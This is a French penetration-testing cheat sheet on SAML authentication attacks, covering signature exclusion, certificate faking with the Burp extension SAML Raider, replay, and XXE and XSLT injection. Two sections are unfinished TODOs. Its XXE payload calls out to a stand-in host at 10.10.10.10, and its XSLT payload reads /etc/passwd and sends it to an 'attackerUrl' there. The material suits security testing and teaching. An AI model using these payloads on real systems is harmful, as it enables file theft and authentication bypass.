SAML
Table of content
- Résumé des principaux tests
- SAML Raider
- Flow d'authentification SAML
- Signature Wrapping
- Signature Exclusion
- XXE on SAML
- XSLT injection on SAML
- Certificat Faking
- Token Recipient Confusion
- Replay attacks
Résumé des principaux tests
- Vérifier si le SP accepte une
assertion
sanssignature
:Signature exclusion attack
- Vérifier si le SP est sensible au
XML Signature Wrapping
- Vérifier si le SP check que les assertions viennent d'un IDP de confiance :
Certificate Faking
- Vérifier si le SP est vulnérable aux injection XML ou XSLT :
XXE et XSLT injection
- Vérifier si le SP accepte les assertion générer pour un autre SP par un IDP commun :
Token Recipient Confusion
- Vérifier si les réponses SAML peuvent être rejouées :
Replay attack
SAML Raider
SAML raider est une extension Burp permettant de décoder, afficher et modifier les requêtes SAML ansi que de faciliter la mise en place d'attaques de base sur le protocole SAML.
- Ouvrir Burp et se rendre sur l'onglet
Extender
- Aller sur l'onglet
BApp Store
- Cliquer sur l'extension
SAML Raider
- Cliquer sur le bouton
Install
en bas à gauche Un fois installée, l'extension ajoute un ongletSAML Raider Certificates
à l'interface Burp. Via l'onglet Proxy, lorsqu'une requête SAML est interceptée, il est possible d'activer le pluginSAML Raider
en cliquand sur la dropdown en haut à droite de la fenêtre.
L'onglet SAML Raider Certificates
permet de jouer avec les certificats qui seront utilisés dans les requêtes SAML :
- Importer et Exporter des certificats X.509
- Afficher les informations d'un certificat X.509
- Clone des certificats X.509 et leur chaine de certificats
- Importer et exporter les clés privées si disponible
- Editer et auto-signer des certificats X.509 existant
Flow d'authentification SAML
Vocabulaire
SP
: Service provider : l'application qui demande l'authentificationIDP
: Identity provider : l'application qui va vérifier les paramètres d'authentification de l'utilisateur
Etapes du flow
- L'utilisateur accède à l'application qu'il souhaite utiliser.
- L'application détecte l'origine de l'utilisateur et le redirige vers l'IDP afin qu'il s'authentifie. C'est la
requête d'authentification
. - L'utilisateur s'authentifie sur l'IDP
- L'IDP génère une réponse d'authentification sous la forme d'un document XML contenant les informations d'identification de l'utilisateur (nom d'utilisateur, email, etc...). La réponse est signée avec un certificat X.509 inclue dans la réponse.
- LE SP, qui connait l'IDP et possède l'empreinte de son certificat, récupère la réponse d'authentification, valide le certificat et valide l'intégrité des données de la réponse.
- L'identité de l'utilisateur est confirmé, et il peut avoir accès à l'application.
Signature Wrapping
TODO
Signature Exclusion
Cette attaque à pour but de vérifier la comportement du SP lorsqu'il recoit des réponses SAML non signée.
Une réponse SAML contient une partie signature sous la forme :
<Reponse ID=_Pl78...>
<Signature>
<SignedInfo>
<Reference URI=_Pl78.../>
</SignedInfo>
<Signature>
<Assertion> ... </Assertion>
</Reponse>
Il faut donc supprimer la partie signature afin que la réponse ait la forme suivante :
<Reponse ID=_Pl78...>
<Assertion> ... </Assertion>
</Reponse>
XXE on SAML
Injecter une entité externe
dans la réponse SAML:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.10"> %xxe;]>
<Reponse ID=_Pl78...>
<Signature>
<SignedInfo>
<Reference URI=_Pl78.../>
</SignedInfo>
<Signature>
<Assertion> ... </Assertion>
</Reponse>
Il suffit de mettre un serveur web en place sur l'IP 10.10.10.10
et de voir si le SP effectue une requête vers ce serveur web.
XSLT injection on SAML
XSLT ou Extensible Stylesheet Language Transformation
est un langage permettant de transformer des documents XML en d'autres types de documents tel que le HTML, le JSON ou le PDF.
Il n'est pas nécessaire d'avoir une signature valide de la réponse pour mettre en place cette attaque. Ainsi, il est possible de signer la réponse avec un certificat auto-signé.
L'attaque consisteà injecter un payload XSLT dans un élément XML Transform
à l'intérieur de l'élément Signature
de la réponse SAML.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://10.10.10.10/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Certificat Faking
Le principe de cette attaque est de modifier le certificat embarqué dans la réponse SAML par un certificat auto-signé, de modifier les éléments de la réponse SAML et de les resigner avec la clé privé du certificat auto-signé.
How to
- Intercepter la réponse SAML
- L'ouvrir avec l'extension
SAML Raider
- Cliquer sur
Send Certificate to SAML Raiders Certs
- Dans l'onglet
SAML Raider Certificates
, sélection le certificat et cliquer surSave and Self-Sign
- Retourner sur l'onglet
Proxy:Intercept
- Selection le certificat auto-signé
- Cliquer sur
Remove Signature
- Cliquer sur
(Re-)Sign Message
Si la réponse contient les jetons d'authentification alors, le SP ne vérifie pas l'authenticité du certificat. Il est donc possible d'altérer les paramètres des réponses SAML.
Token Recipient Confusion
TODO
Replay attacks
Rejouer les réponses SAML : les réponses SAML ne sont valable qu'une fois. S'il est possible de rejouer les requêtes, alors un attaquant peut capturer ces paquets, les rejouer et by-passer l'authentification.